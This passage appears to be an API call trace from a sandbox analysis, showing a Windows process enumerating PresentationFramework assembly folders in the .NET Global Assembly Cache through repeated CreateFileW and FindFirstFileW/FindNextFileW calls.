	[0088.667] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5efc3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5efc3ca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5efc3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5efc3ca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5efc3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6300, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemCore.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.667] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.667] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.668] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemdata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.668] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.668] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.668] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f00ff60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f00ff60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.668] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.668] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.668] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemdata\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.669] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f00ff60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f00ff60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f00ff60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f00ff60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f00ff60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemData.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.669] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.669] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemdrawing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.669] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f05c220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.669] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.669] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.670] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemdrawing\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.670] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f05c220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f05c220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemDrawing.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.670] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.670] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.670] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemxml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.671] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0ce640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.671] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.671] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemxml\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.671] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0ce640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0ce640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXml.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.671] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.671] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.672] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemxmllinq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.672] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.672] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.672] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0f47a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.672] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.672] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.673] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework-systemxmllinq\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.673] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0f47a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.673] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0f47a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.673] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f11a900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5910, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXmlLinq.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.673] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.673] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.673] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationframework.aero"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.674] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9479f700, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9479f700, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
